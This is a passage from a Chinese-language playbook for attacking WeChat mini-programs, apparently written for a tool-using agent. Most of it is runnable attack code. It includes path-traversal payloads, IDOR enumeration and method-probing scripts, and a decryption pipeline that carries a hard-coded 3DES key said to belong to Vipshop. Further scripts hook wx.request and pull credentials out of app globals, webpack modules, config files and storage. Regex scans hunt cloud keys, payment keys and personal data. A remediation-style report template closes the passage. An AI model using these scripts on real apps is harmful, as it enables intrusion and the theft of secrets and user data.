%252e%252e%252f)或路径参数注入(/app;foo=bar/../../../etc/passwd),绕过 WAF 的路径匹配规则后观察后端响应。Spring Actuator 端点(/actuator/env、/actuator/heapdump)无需路径穿越即可泄露配置和内存 dump,优先检测。
④ 带路由参数的服务端点发现(行为变化)
# REST 风格路由参数枚举——发现行为变化端点
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<当前有效token>';
var resources=['users','orders','products','items','accounts',
'members','profiles','records','projects','articles'];
var testIds=[1,2,3,100,'me','current',0,'undefined'];
var results=[];
for(var res of resources){
for(var id of testIds.slice(0,4)){
var r=await fetch('/api/'+res+'/'+id,{method:'GET',
headers:{'Authorization':'Bearer '+token}});
var body='';
if(r.status===200) body=(await r.text()).slice(0,300);
results.push({url:'/api/'+res+'/'+id,status:r.status,
preview:r.status===200?body:''});
}
}
return JSON.stringify(results.filter(r=>r.status===200),null,2);
})()")
行为变化判断标准:
| 端点响应 | 行为变化类型 | 后续操作 |
|---|---|---|
/api/users/1 → 200 + 他人数据 | 🔴 行为变化:IDOR 面暴露 | 枚举相邻 ID,见 Phase 2.2 |
/api/users/1 → 200 + 自己数据 | ⚠️ 后端绑定 token,路径参数被忽略 | 换无效 token 确认是否真正绑定 |
DELETE /api/users/1 → 200 | 🔴 行为变化:越权写操作 | 立即确认并停止(避免误删真实数据) |
/api/users/undefined → 200 | 🔴 行为变化:未初始化参数路径 | 见 Phase 2.2.1 undefined IDOR |
/api/users/0 → 200 + 特殊数据 | 🔴 边界值未过滤 | 检查 ID=0 是否为特权账号 |
| 所有路径返回 404 | 路由前缀不匹配 | 检查 /v1/ /v2/ /rest/ 等版本前缀 |
# HTTP 方法枚举(确认允许方法 = 行为变化矩阵)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var url='/api/<存活资源>/<id>';
var token='<token>';
var methods=['GET','POST','PUT','PATCH','DELETE','OPTIONS'];
var results=[];
for(var m of methods){
var init={method:m,headers:{'Authorization':'Bearer '+token,
'Content-Type':'application/json'}};
if(m!=='GET') init.body=JSON.stringify({});
var r=await fetch(url,init);
results.push({method:m,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
// GET/PUT/DELETE 同时返回 200 → 越权写操作风险(行为变化最高优先级)
// OPTIONS 返回 Allow 头 → 直接读取服务端允许方法列表
Phase 3:流量解密分析
3.1 编码识别(第一步)
decrypt_ops(action="auto_detect_encoding", value="<未知编码值>")
# 返回 candidates: ["base64", "hex", "base64url", "url_encoded"] 等
3.2 单步解密
# AES-CBC(需 key 和 IV)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<key>",
iv="<iv>",
mode="cbc",
input_encoding="base64",
key_encoding="utf-8",
iv_encoding="utf-8")
# AES-ECB(无 IV)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<key>",
mode="ecb",
input_encoding="base64",
key_encoding="utf-8")
# 3DES-ECB(兼容 CryptoJS 零填充不足 24 字节 key)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="3des",
key="ed1d2af1b7a9bc",
mode="ecb",
input_encoding="base64",
key_encoding="utf-8")
# RSA 解密(需 PEM 格式私钥)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="rsa",
key="<PEM私钥>",
input_encoding="base64")
# MD5 / SHA / HMAC
decrypt_ops(action="decrypt_payload", value="<text>", algorithm="md5", input_encoding="utf-8")
decrypt_ops(action="decrypt_payload", value="<text>", algorithm="sha256", input_encoding="utf-8")
decrypt_ops(action="decrypt_payload", value="<data>", algorithm="hmac-sha256",
key="<key>", input_encoding="utf-8", key_encoding="utf-8")
3.3 多层解密流水线
# 三层解密:3DES-ECB → MD5-Key-Derive → AES-CBC(唯品会模式)
decrypt_ops(action="run_decrypt_pipeline",
value="<mina_edata_base64>",
steps=[
# Step 1: 3DES-ECB 解出 base_secret
{
"type": "3des",
"key": "ed1d2af1b7a9bc",
"mode": "ecb",
"input_encoding": "base64",
"key_encoding": "utf-8"
},
# Step 2: MD5 派生 AES key(base_secret + & + VIP_TANK)
{
"type": "md5-key-derive",
"key": "<VIP_TANK_session_token>",
"key_encoding": "utf-8"
},
# Step 3: AES-CBC 解密(key/iv 由流水线上下文自动注入)
{
"type": "aes",
"mode": "cbc",
"input_encoding": "base64"
}
])
# 通用二层:AES-CBC 响应解密 → JSON parse
decrypt_ops(action="run_decrypt_pipeline",
value="<加密响应体>",
steps=[
{"type": "aes", "key": "<key>", "iv": "<iv>", "mode": "cbc",
"input_encoding": "base64", "key_encoding": "utf-8"},
{"type": "base64"} # 如果 AES 输出仍是 base64
])
3.4 密码学攻击检测(v2.0 新增)
# ECB 模式检测 — 相同的 16 字节明文块产生相同的密文块
# 如果密文存在重复的 16 字节块 → ECB 模式 → 可进行块重排攻击
decrypt_ops(action="detect_ecb_pattern", value="<base64密文>")
# Padding Oracle 检测
# 修改密文末尾字节 → 观察服务端响应差异
# 500/padding error vs 200/data error → Oracle 存在
analysis_ops(action="compare_two_requests",
request_id_a="<原始请求>",
request_id_b="<篡改密文末尾字节的请求>")
# CBC Bit-Flip 检测
# 修改第 N 个密文 block → 精确翻转第 N+1 个明文 block 对应字节
# 适用于: role=user → role=admin 的加密 Cookie/Token
3.5 动态密钥追踪
如果静态分析无法确定 key/IV,使用断点追踪:
# 在加密函数调用前打断点
debugger_ops(action="break_on_xhr", url="/api/")
→ 拦截 XHR 请求,在加密前暂停
debugger_ops(action="get_paused_info")
→ 查看调用栈和作用域变量(含密钥值)
debugger_ops(action="evaluate_script",
expression="JSON.stringify({key: _aesKey, iv: _iv, mode: _cipherMode})")
→ 在断点处动态求值获取密钥
debugger_ops(action="step", action_type="into")
→ 单步进入加密函数
debugger_ops(action="resume_execution")
→ 恢复执行
3.6 运行时加密发现
decrypt_ops(action="discover_runtime_crypto_functions")
→ 自动发现页面中可调用的加密/解密函数
decrypt_ops(action="call_runtime_crypto_function",
function_name="<函数名>",
args=["<参数1>", "<参数2>"])
→ 在运行时调用加密函数,获取输入输出对照
Phase 4:逆向分析与代码审计
4.1 代码保护类型识别
# 第一步: 判断代码保护级别
debugger_ops(action="search_in_sources", query="webpackJsonp|__webpack_require__|webpackChunk")
→ Webpack 打包 → 跳转 4.2
debugger_ops(action="search_in_sources", query="_0x[a-f0-9]{4,6}|var _0x|\\\\u0030|\\\\x30")
→ OB 混淆 (obfuscator.io) → 跳转 4.3
debugger_ops(action="search_in_sources",
query="while.*true.*switch|for.*;;.*switch|case\\s+\\d{4,}:")
→ JSVMP 虚拟机保护 → 跳转 4.4
4.2 Webpack 拆包分析
# 列出所有 chunk
debugger_ops(action="search_in_sources", query="webpackChunkName|chunk-.*\\.js")
# 搜索特定 chunk 的内容
debugger_ops(action="get_script_source", url="<chunk URL>")
# 定位业务逻辑 chunk(按模块名搜索)
debugger_ops(action="search_in_sources", query="encrypt|decrypt|request|sign|api")
# Webpack 模块映射还原
# 每个模块通过 __webpack_require__(moduleId) 引用
# moduleId 通常在注释中标注: /* harmony import */ var _api = __webpack_require__(123)
# 搜索 __webpack_require__ 调用,建立 moduleId → 功能 映射表
4.3 OB 混淆还原
# OB 混淆特征: _0x 前缀变量 + 十六进制字符串数组
# 还原步骤:
1. 保存混淆脚本: debugger_ops(action="save_script_source", url="<URL>")
2. 提取字符串数组: 查找脚本顶部的大数组定义 var _0xabcd = [...]
3. 还原字符串引用: 将 _0x1234('0x1a2b') 替换为实际字符串值
4. 变量重命名: 将 _0x 前缀变量根据用途重命名
5. 控制流平坦化还原: 识别 switch-case 状态机 → 追踪状态转移 → 重组代码顺序
# 在运行时环境中还原字符串(利用小程序 JS 引擎)
runtime_ops(action="runtime_eval",
expression="(()=>{const arr=['hello','world','encrypt'];return arr.map((s,i)=>`_0x${i.toString(16)} = ${s}`).join('\\n')})()")
4.4 JSVMP 虚拟机保护分析
# JSVMP 识别标志:
# - 单文件 200KB+,函数/变量名完全无意义
# - 自定义解释器: while(true) { switch(opcode) { ... } }
# - 改写/劫持浏览器原生 API(XHR / fetch / Cookie)
# - 超大字节码数组 + 指针变量 + 栈操作 + 跳转指令
# 路径选择决策:
├─ JSVMP 劫持请求链路(XHR/fetch 拦截器)?
│ ├─ YES + 算法与环境深度绑定 → 走路径 B(动态 Hook 截取)
│ └─ YES + 签名逻辑相对独立 → 走路径 A(Hook 出入口追踪算法)
├─ JSVMP 仅生成签名参数?
│ ├─ 确认使用标准算法 → 路径 A,纯算法还原
│ └─ 完全自定义 + 环境依赖重 → 路径 B
└─ 无法判断 → 先快速测试路径 B(30 分钟),不行再走路径 A
# 路径 A: Hook 出入口追踪
# Step 1: Hook 加密/签名的输入输出
runtime_ops(action="runtime_eval",
expression="(()=>{const orig=wx.request;wx.request=function(obj){if(obj.url.includes('/api/')){console.log('[REQ]',obj.url,JSON.stringify(obj.data).slice(0,500))};return orig.apply(this,arguments)}})()")
# Step 2: Hook 加密函数本身
debugger_ops(action="break_on_xhr", url="/api/")
→ get_paused_info(include_scopes=True)
→ evaluate_js 获取密钥和明文
# 路径 B: 动态 Hook 截取签名结果
# 在 wx.request 调用前注入 Hook,截取最终签名值
network_ops(action="hook_wx_request")
→ 自动捕获加密前后的参数对比
4.5 小程序特有逆向要点
# 1. wx.request 拦截
runtime_ops(action="runtime_eval",
expression="(()=>{const o=wx.request;wx.request=function(c){const s=new Error().stack;console.log('[STACK]',s.slice(0,500));return o.call(this,c)}})()")
# 2. 全局加密函数发现
runtime_ops(action="runtime_eval",
expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&&(k.toLowerCase().includes('encrypt')||k.toLowerCase().includes('decrypt')||k.toLowerCase().includes('sign')||k.toLowerCase().includes('crypto'))))()")
# 3. Storage 中的敏感密钥提取
runtime_ops(action="runtime_eval",
expression="(()=>{try{return JSON.stringify({sync:wx.getStorageInfoSync(),keys:wx.getStorageInfoSync().keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k))})}catch(e){return String(e)}})()")
# 4. 检测反调试
runtime_ops(action="runtime_eval",
expression="(()=>{const checks=[];try{eval('debugger')}catch(e){checks.push('eval_blocked')};if(Function.prototype.toString().includes('native'))checks.push('toString_ok');return checks})()")
4.6 批量断点追踪多个接口的加密调用栈
# 对每个需要分析的加密接口:
for request_id in <加密请求列表>:
debugger_ops(action="break_on_xhr", url="<该请求的 API 路径>")
network_ops(action="trace_request_callstack", request_id=request_id)
→ 记录: 加密函数名 + 文件位置 + 行号
→ 同一加密函数被多个路由共享 → 集中分析该函数
→ 不同路由使用不同加密函数 → 逐一分析
4.7 源码与运行时敏感信息检测(v2.8 重写 — 最高优先级)
核心原则:密钥既可能硬编码在字符串字面量中(正则可扫),也可能藏在 getApp().globalData、Webpack 模块对象、require 导出的 config 模块、Storage 非关键词 key 中(正则扫不到)。两路并行,缺一不可。
4.7.0 运行时变量深度提取(v2.8 新增 — 先于正则扫描执行)
执行时机:Phase 0 环境搭建完成后立即执行,不依赖 search_in_sources(cachedata 格式也有效)。
A. getApp().globalData 深度提取(命中率最高)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var app=getApp();
if(!app) return 'getApp() returned null';
// 递归展开嵌套对象(最多 3 层),不做正则过滤,全量输出
function flat(obj,prefix,depth){
var r={};
if(depth>3||!obj||typeof obj!=='object'||Array.isArray(obj)) return r;
Object.keys(obj).forEach(function(k){
try{
var v=obj[k];
var fk=prefix?prefix+'.'+k:k;
if(typeof v==='object'&&v!==null) Object.assign(r,flat(v,fk,depth+1));
else r[fk]=String(v).slice(0,300);
}catch(e){}
});
return r;
}
var all=flat(app,'app',0);
// 第一遍:敏感字段关键词命中
var sensitive={};
Object.keys(all).forEach(function(k){
if(/token|secret|key|ak|sk|pass|auth|api|baseUrl|base_url|host|endpoint|env|appid|openid|unionid|bucket|region|oss|cos|cdn|sms|push|map|pay|private|mch/i.test(k))
sensitive[k]=all[k];
});
return JSON.stringify({
allCount:Object.keys(all).length,
sensitiveCount:Object.keys(sensitive).length,
sensitive:sensitive,
rawGlobalData:JSON.stringify(app.globalData||{}).slice(0,2000)
});
}catch(e){return 'ERR:'+String(e)}
})()")
→ 典型命中:app.globalData.accessKeyId / secretKey / baseUrl / mapKey / smsKey
→ 若 globalData 中发现 AK/SK → 🔴 CRITICAL,无需等正则扫描,立即报告
B. Webpack 模块缓存遍历(config.js / constants.js / request.js 全命中)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
// __webpack_require__.c 是已缓存的模块实例;.m 是模块定义函数
var cache=null;
if(typeof __webpack_require__!=='undefined'){
cache=__webpack_require__.c||__webpack_require__.m;
}
if(!cache) return JSON.stringify({status:'webpack not found'});
var hits=[];
Object.keys(cache).forEach(function(k){
try{
var mod=cache[k];
var exp=mod&&mod.exports!==undefined?mod.exports:mod;
var s=JSON.stringify(exp);
if(!s||s.length<5||s.length>30000) return;
if(/secret|apiKey|api_key|accessKey|access_key|appSecret|app_secret|baseUrl|base_url|apiUrl|api_url|apiHost|api_host|bucket|oss.*config|cos.*config|cdnUrl|smsKey|pushKey|mapKey|mchId|mchKey|payKey|privateKey|paySecret/i.test(s)){
hits.push({moduleId:k, preview:s.slice(0,500)});
}
}catch(e){}
});
return JSON.stringify({totalModules:Object.keys(cache).length,hitCount:hits.length,hits:hits.slice(0,15)});
}catch(e){return 'ERR:'+String(e)}
})()")
→ 关键说明:Webpack 压缩后对象属性名不变(如 baseUrl/secretKey),即使变量名变了属性名也在
→ 命中含 secretKey/appSecret 的模块 → 提取完整内容,确认值是否为真实密钥
C. require() 主动加载已知 config 模块路径
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var paths=[
'config','./config','../config',
'config/index','../config/index','../../config/index',
'utils/config','utils/request','utils/http','utils/api','utils/constant',
'common/config','common/constants','common/api','common/env',
'api/config','api/base','api/index',
'constants','./constants','../constants',
'env','./env','../env','./settings','settings',
'store/index','store/modules/user',
];
var found={};
paths.forEach(function(p){
try{
var m=require(p);
var s=JSON.stringify(m);
if(s&&s.length>2&&s!=='{}') found[p]=s.slice(0,600);
}catch(e){}
});
return JSON.stringify({tried:paths.length,found:Object.keys(found).length,modules:found});
})()")
→ require('config/index') 导出含 {baseUrl, appId, mapKey} → 记录全部值
→ require('utils/request') 导出含 {baseURL, secretKey} → 🔴 API 密钥泄露
D. Storage 全量扫描(不用关键词过滤 key,看值的内容)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var info=wx.getStorageInfoSync();
var all={};
info.keys.forEach(function(k){
try{
var v=wx.getStorageSync(k);
var s=typeof v==='string'?v:JSON.stringify(v);
// 跳过广告缓存和日志(通常很长),保留中小尺寸条目
if(s&&s.length>2&&s.length<3000) all[k]=s.slice(0,300);
}catch(e){}
});
return JSON.stringify({
totalKeys:info.keys.length,
currentSizeKB:Math.round(info.currentSize/1024),
allEntries:all
});
}catch(e){return 'ERR:'+String(e)}
})()")
→ 不用关键词过滤 key 名!「config」「appEnv」「setting」这类无害 key 名的值中可能含 AK/SK
→ 逐条检视所有值,特别关注 JSON 对象类型的存储值
E. 页面 data / props 中的敏感状态
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var pages=getCurrentPages();
var results=[];
pages.forEach(function(p){
var d=p.data||{};
var s=JSON.stringify(d);
// 页面 data 中常存放 token/userId/phone/openId 等运行时状态
if(/token|userId|openId|unionId|phone|mobile|idCard|secret|key|ak|password/i.test(s)){
results.push({route:p.route,sensitiveData:s.slice(0,1000)});
}
});
return JSON.stringify(results);
}catch(e){return 'ERR:'+String(e)}
})()")
F. wx.getAccountInfoSync() — 确认运行环境(影响后续利用策略)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var info=wx.getAccountInfoSync();
return JSON.stringify({
appId:info.miniProgram&&info.miniProgram.appId,
envVersion:info.miniProgram&&info.miniProgram.envVersion,
version:info.miniProgram&&info.miniProgram.version
});
}catch(e){return 'ERR:'+String(e)}
})()")
→ envVersion='develop' → 开发版,更可能含 debug 信息、测试密钥、内网地址
→ envVersion='trial' → 体验版
→ envVersion='release' → 正式版
G. 全局对象深度遍历(不只是 function,也查 object 类型变量)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var hits={};
Object.keys(globalThis||{}).forEach(function(k){
try{
var v=globalThis[k];
if(typeof v==='string'&&v.length>8&&v.length<500){
// 检查字符串值是否匹配已知 AK 前缀
if(/^(LTAI|AKID|AKIA|ghp_|sk-|ya29\.|AIza)/i.test(v)) hits[k]=v;
} else if(typeof v==='object'&&v!==null){
var s=JSON.stringify(v);
if(s&&s.length>5&&s.length<8000&&
/secret|apiKey|accessKey|appSecret|baseUrl|bucket|smsKey|mapKey|payKey|mchId/i.test(s))
hits[k]=s.slice(0,500);
}
}catch(e){}
});
return JSON.stringify({hitCount:Object.keys(hits).length,hits:hits});
})()")
4.7.0 执行 checklist:
□ A. getApp().globalData 全量展开并提取
□ B. Webpack 模块缓存遍历(含 .m 和 .c)
□ C. require() 主动加载 20+ 个常见 config 路径
□ D. Storage 全量扫描(不过滤 key 名)
□ E. 所有已打开页面的 data 状态检查
□ F. wx.getAccountInfoSync() 确认环境版本
□ G. globalThis 深度对象/字符串遍历
4.7.1 全量脚本敏感信息扫描
# 第一步: 列出所有已加载脚本
debugger_ops(action="list_scripts")
→ 获取脚本 URL 列表
# 第二步: 对每个脚本执行敏感信息关键词搜索
# 以下搜索按危害等级分组,逐组执行
4.7.2 云服务 AK/SK 检测(危害: CRITICAL)
# 腾讯云 / 阿里云 / AWS / 七牛 / 又拍云 等云服务密钥
# 特征: 固定前缀 + 长字符串
# 腾讯云 SecretId / SecretKey
debugger_ops(action="search_in_sources",
query="AKID[A-Za-z0-9]{32,48}|TENCENT_SECRET|secretId|secretKey|SecretId|SecretKey")
→ 命中 AKID... → 腾讯云 SecretId 泄露
# 阿里云 AccessKey
debugger_ops(action="search_in_sources",
query="LTAI[A-Za-z0-9]{16,24}|ALIBABA_CLOUD_ACCESS|accessKeyId|accessSecret")
→ 命中 LTAI... → 阿里云 AK 泄露
# AWS Access Key
debugger_ops(action="search_in_sources",
query="AKIA[A-Z0-9]{16}|AWS_ACCESS_KEY|aws_access_key|awsSecretAccessKey")
# 七牛云 AK/SK
debugger_ops(action="search_in_sources",
query="qiniu|QINIU_ACCESS|QINIU_SECRET|ACCESS_KEY.*qiniu")
# 又拍云
debugger_ops(action="search_in_sources",
query="upyun|UPYUN_|operator.*password|upyun.*secret")
# 百度云
debugger_ops(action="search_in_sources",
query="bce[_-]|BAIDU_CLOUD|baidu.*access|baidu.*secret")
# 华为云
debugger_ops(action="search_in_sources",
query="HUAWEI_CLOUD|huawei.*access|huawei.*secret|HW_ACCESS")
# 京东云
debugger_ops(action="search_in_sources",
query="JD_CLOUD|jdcloud|JD_ACCESS|JD_SECRET")
# 通用云服务 AK/SK 模式匹配(宽松模式 — Webpack 压缩后也能命中)
debugger_ops(action="search_in_sources",
query="accessKey|AccessKey|access_key|secretKey|SecretKey|secret_key|SECRET_KEY|ACCESS_KEY")
# ⚠️ v2.2 新增:Gateway 配置结构检测(Webpack 压缩后 AK/SK 常作为对象属性短名出现)
# 教训: "accessKey":"xxx","secretKey":"yyy" 在压缩后仍保留原始属性名
# 单独搜 accessKey 可能命中大量合法代码,需配合值模式精确匹配
debugger_ops(action="search_in_sources",
query="accessKey\\s*[:\"]\\s*[\"'][A-Za-z0-9]{12,}[\"']|secretKey\\s*[:\"]\\s*[\"'][A-Za-z0-9]{12,}[\"']")
→ 精确匹配对象属性赋值的 AK/SK 键值对
# ⚠️ v2.2 新增:完整 Gateway 配置块搜索(最易漏报的场景)
# 压缩后的配置块形如: gateway:{host:p,accessKey:"xxx",secretKey:"yyy"}
debugger_ops(action="search_in_sources",
query="gateway.*accessKey|gateway.*secretKey|apiGateway|API_GATEWAY|gatewayConfig")
→ 命中 gateway + accessKey/secretKey 同现 → 高概率泄露
搜索后验证步骤(v2.2 新增 — 防止漏报):
# search_in_sources 对压缩代码的匹配可能不完整。
# 如果以上搜索全部返回 0 命中,执行以下二次验证:
# 验证 1: 直接搜 __wxConfig 中的配置信息
runtime_ops(action="runtime_eval",
expression="(()=>{try{var s=JSON.stringify(__wxConfig||{});return s.length>100?s.slice(0,3000):s}catch(e){return String(e)}})()")
# 验证 2: 搜全局变量中的 host/gateway/env 配置
runtime_ops(action="runtime_eval",
expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){if(/host|gateway|env|config|api|baseUrl/i.test(k)){try{r[k]=String(globalThis[k]).slice(0,200)}catch(e){}}}return JSON.stringify(r)})()")
# 验证 3: 搜所有脚本中直接出现的 32 位 hex 字符串(常见 SK 格式)
debugger_ops(action="search_in_sources",
query="[a-f0-9]{32}|[A-F0-9]{32}")
# 验证 4: 搜 env/PROD/TEST/PRE 等环境配置关键字(常与 AK/SK 同现)
debugger_ops(action="search_in_sources",
query="PROD.*host|TEST.*host|PRE.*host|env.*PROD|env.*TEST|\"PROD\"|\"TEST\"|\"PRE\"")
4.7.3 API 密钥与 Token 检测(危害: CRITICAL)
# 微信系 AppId / AppSecret
debugger_ops(action="search_in_sources",
query="wx[a-f0-9]{16}|appSecret|AppSecret|app_secret|APP_SECRET|WX_APPID|WX_APPSECRET")
→ 命中格式为 wx + 16 位 hex → 微信 AppId 泄露
→ 命中 appSecret → 微信 AppSecret 泄露(最高危)
# 支付宝
debugger_ops(action="search_in_sources",
query="alipay.*appId|alipay.*privateKey|alipay.*publicKey|ALIPAY_|app_private_key|alipay_public_key")
# 开放平台通用
debugger_ops(action="search_in_sources",
query="appId.*['\"]\\w{16,}['\"]|appSecret.*['\"]\\w{32,}['\"]|app_key|app_secret|APP_KEY|APP_SECRET")
# 各平台 API Key
debugger_ops(action="search_in_sources",
query="api[_-]?key|api[_-]?secret|api[_-]?token|API_KEY|API_SECRET|API_TOKEN|x-api-key|x-api-secret")
# 支付密钥(最高优先级 — 命中即严重漏洞)
debugger_ops(action="search_in_sources",
query="mch_id|mch_key|mch_secret|partner_key|partnerKey|PAY_KEY|PAY_SECRET|paySignKey|wechatPay|wxPay|alipay.*key")
→ 命中 mch_key / partner_key → 微信支付/支付宝商户密钥泄露(严重)
4.7.4 JWT / Session / 签名密钥检测(危害: HIGH)
# JWT Secret
debugger_ops(action="search_in_sources",
query="jwt[_-]?secret|jwt[_-]?key|JWT_SECRET|jwtSecret|tokenSecret|TOKEN_SECRET")
# Session 密钥
debugger_ops(action="search_in_sources",
query="session[_-]?(secret|key)|SESSION_SECRET|sessionSecret|cookieSecret|COOKIE_SECRET")
# 签名/加密密钥
debugger_ops(action="search_in_sources",
query="sign[_-]?key|sign[_-]?secret|SIGN_KEY|SIGN_SECRET|encrypt[_-]?key|encrypt[_-]?secret|ENCRYPT_KEY|CIPHER_KEY")
4.7.5 数据库与存储凭据检测(危害: CRITICAL)
# 数据库连接串
debugger_ops(action="search_in_sources",
query="jdbc:|mongodb://|mysql://|postgresql://|redis://|mssql://|oracle:|sqlite:")
→ 命中连接串 → 数据库凭据明文泄露
# 数据库账号密码
debugger_ops(action="search_in_sources",
query="DB_HOST|DB_PORT|DB_USER|DB_PASS|DB_PASSWORD|DB_NAME|DATABASE_URL|DB_CONNECTION|MYSQL_|POSTGRES_|REDIS_")
# Redis 密码
debugger_ops(action="search_in_sources",
query="redis.*password|REDIS_PASSWORD|redis.*auth|requirepass")
# MongoDB
debugger_ops(action="search_in_sources",
query="mongo.*password|MONGO_PASSWORD|mongo.*auth|mongodb.*credential")
# 数据库明文密码常见模式
debugger_ops(action="search_in_sources",
query="password.*['\"]\\S{6,}['\"]|passwd.*['\"]\\S{6,}['\"]|pwd.*['\"]\\S{6,}['\"]")
4.7.6 加密密钥硬编码检测(危害: HIGH)
# AES / DES 密钥
debugger_ops(action="search_in_sources",
query="aes[_-]?(key|iv)|AES_KEY|AES_IV|des[_-]?key|DES_KEY|_aesKey|_aesIv|_desKey|cryptoKey|cipherKey")
# RSA 私钥
debugger_ops(action="search_in_sources",
query="BEGIN\\s*(RSA|EC|DSA|OPENSSH)\\s*PRIVATE\\s*KEY|-----BEGIN.*PRIVATE KEY-----")
→ 命中完整 PEM 格式私钥 → 严重漏洞
# 3DES 密钥
debugger_ops(action="search_in_sources",
query="triple[_-]?des|3DES_KEY|3des[_-]?key|_3desKey|tripleDesKey")
# 硬编码密钥变量
debugger_ops(action="search_in_sources",
query="secretKey\\s*[:=]\\s*['\"]\\w{8,}|secret\\s*[:=]\\s*['\"]\\w{8,}|key\\s*[:=]\\s*['\"]\\w{8,}|iv\\s*[:=]\\s*['\"]\\w{8,}")
4.7.7 内网地址与基础设施泄露(危害: MEDIUM-HIGH)
# 内网 IP / 域名
debugger_ops(action="search_in_sources",
query="(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)\\d{1,3}\\.\\d{1,3}|intranet|internal|dev\\.|test\\.|staging\\.|local\\.|localhost")
# 内网 API 地址
debugger_ops(action="search_in_sources",
query="http://(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)|https://(dev|test|staging|uat)\\.|http://(dev|test|staging|uat)\\.")
# OSS / CDN / 存储桶
debugger_ops(action="search_in_sources",
query="oss-|cos\\.|s3\\.amazonaws|storage\\.googleapis|blob\\.core\\.windows|cloudfront|aliyuncs\\.com|myqcloud\\.com|qcloud\\.com")
→ OSS 地址 + 附近有 AK/SK → 存储桶接管风险
4.7.8 第三方服务 Token 泄露(危害: MEDIUM-HIGH)
# GitHub / GitLab Token
debugger_ops(action="search_in_sources",
query="ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{22,}|glpat-[A-Za-z0-9_\\-]{20,}|github.*token|gitlab.*token|GITHUB_TOKEN|GITLAB_TOKEN")
# 钉钉 / 飞书 / 企业微信 Webhook
debugger_ops(action="search_in_sources",
query="oapi\\.dingtalk\\.com/robot|open\\.feishu\\.cn/open-apis/bot|qyapi\\.weixin\\.qq\\.com/cgi-bin/webhook")
→ 命中 Webhook URL → 可向群聊发送任意消息
# 短信 / 邮件服务
debugger_ops(action="search_in_sources",
query="sms.*(secret|key|token)|SMS_SECRET|SMS_KEY|email.*password|EMAIL_PASSWORD|smtp.*password|sendgrid|mailgun")
# 地图 / 推送 / 其他第三方
debugger_ops(action="search_in_sources",
query="map.*key|MAP_KEY|push.*secret|PUSH_SECRET|gaode|amap|baidu.*map|tianyancha|shuidi")
4.7.9 个人信息泄露检测(危害: MEDIUM)
# 手机号
debugger_ops(action="search_in_sources",
query="1[3-9]\\d{9}")
# 邮箱
debugger_ops(action="search_in_sources",
query="[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}")
# 身份证号
debugger_ops(action="search_in_sources",
query="\\d{17}[\\dXx]")
# IP 白名单
debugger_ops(action="search_in_sources",
query="whitelist|white_list|ip_white|ipWhite|allowed_ips|ALLOWED_IPS")
4.7.10 敏感信息聚合与报告
# 收集所有命中结果后,按以下格式输出:
┌─────────────────────────────────────────────────────────────┐
│ 敏感信息检测报告 │
├─────────────────────────────────────────────────────────────┤
│ 危害等级 │ 类型 │ 命中数 │ 来源文件 │
├──────────────┼───────────────┼────────┼───────────────────────┤
│ 🔴 CRITICAL │ 云服务 AK/SK │ 3 │ app-service.js:1203 │
│ 🔴 CRITICAL │ 微信 AppSecret │ 1 │ vendor.js:5821 │
│ 🔴 CRITICAL │ 数据库连接串 │ 2 │ config.js:45 │
│ 🔴 CRITICAL │ 支付商户密钥 │ 1 │ pay-utils.js:89 │
│ 🟠 HIGH │ JWT Secret │ 1 │ app.js:234 │
│ 🟠 HIGH │ AES 加密密钥 │ 2 │ encrypt.js:67 │
│ 🟠 HIGH │ RSA 私钥 │ 0 │ - │
│ 🟡 MEDIUM │ 第三方 Token │ 3 │ notify.js:12 │
│ 🟡 MEDIUM │ 内网地址 │ 5 │ config.js:78 │
│ 🟡 MEDIUM │ 手机号/邮箱 │ 8 │ user-profile.js:45 │
├──────────────┴───────────────┴────────┴───────────────────────┤
│ 🔴 需立即处置: 6 项 (CRITICAL) │
│ 🟠 需尽快处置: 3 项 (HIGH) │
│ 🟡 建议整改: 16 项 (MEDIUM) │
└─────────────────────────────────────────────────────────────┘
# 逐项详情格式:
# 危害等级: CRITICAL
# 类型: 腾讯云 SecretId
# 命中内容(脱敏): AKID****a1b2 (32位)
# 来源文件: app-service.js 第 1203 行
# 上下文:
# const tencentConfig = {
# secretId: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
# secretKey: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
# bucket: 'myapp-1250000000',
# region: 'ap-guangzhou'
# };
# 风险: 攻击者可利用此 AK/SK 接管腾讯云 COS 存储桶,读取/删除/覆盖所有文件
# 建议: 1. 立即在腾讯云控制台禁用泄露的密钥
# 2. 使用临时密钥 (STS) 或服务端签名替代前端硬编码
# 3. 将 COS 上传改为通过业务后端代理
4.7.11 敏感信息扫描的完整执行清单
□ 云服务 AK/SK: AKID / LTAI / AKIA / 七牛 / 又拍云 / 百度云 / 华为云 / 京东云
□ API 密钥: 微信 AppId/AppSecret / 支付宝密钥 / 开放平台 app_key / x-api-key
□ 支付密钥: mch_id / mch_key / partner_key / paySignKey
□ JWT/Session: jwt_secret / session_secret / cookie_secret
□ 签名加密: sign_key / encrypt_key / cipher_key
□ 数据库: jdbc / mongodb:// / mysql:// / redis:// / DB_PASSWORD / DATABASE_URL
□ 加密密钥: AES_KEY / DES_KEY / RSA 私钥 / 3DES_KEY
□ 内网地址: 10.x / 172.16-31.x / 192.168.x / dev/staging 域名
